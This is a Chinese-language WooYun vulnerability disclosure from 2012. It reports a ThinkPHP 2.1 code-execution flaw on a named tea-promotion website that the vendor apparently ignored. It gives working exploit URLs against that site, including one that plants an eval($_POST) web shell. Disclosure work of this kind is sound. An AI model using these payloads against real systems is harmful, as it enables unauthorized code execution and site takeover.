康师傅某站PHP任意代码执行 | wooyun-2012-011611| WooYun.org

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-011611

漏洞标题：康师傅某站PHP任意代码执行

漏洞作者： upload

提交时间：2012-09-03 11:31

修复时间：2012-10-18 11:31

公开时间：2012-10-18 11:31

漏洞类型：命令执行

危害等级：高

自评Rank：15

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

2012-09-03：积极联系厂商并且等待厂商认领中，细节不对外公开
2012-10-18：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

这个站使用的是ThinkPHP 2.1，存在代码执行漏洞，直接getshell

详细说明：

就是康师傅红茶、绿茶以及其他各种茶瓶身上的那个活动
康师傅 - 玩转台湾 10000人大搜茶

http://www.ksftea.com/

系统使用ThinkPHP 2.1,<-ThinkPHP framework 任意代码执行漏洞预警->

http://zone.wooyun.org/content/44

查看版本：

http://www.ksftea.com/index.php/module/action/param1/$%7B@print(THINK_VERSION)%7D

执行phpinfo()：

http://www.ksftea.com/index.php/module/action/param1/%7B$%7Bphpinfo()%7D%7D

可以构造shell地址:

http://www.ksftea.com/index.php/module/action/param1/$%7B@print(eval($_POST[c]))%7D

www文件夹，好几个站

命令执行：

漏洞证明：

根文件夹：

修复方案：

更新版本或者其他--！

版权声明：转载请注明来源 upload@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

WooYun.org

漏洞概要 关注数(24) 关注此漏洞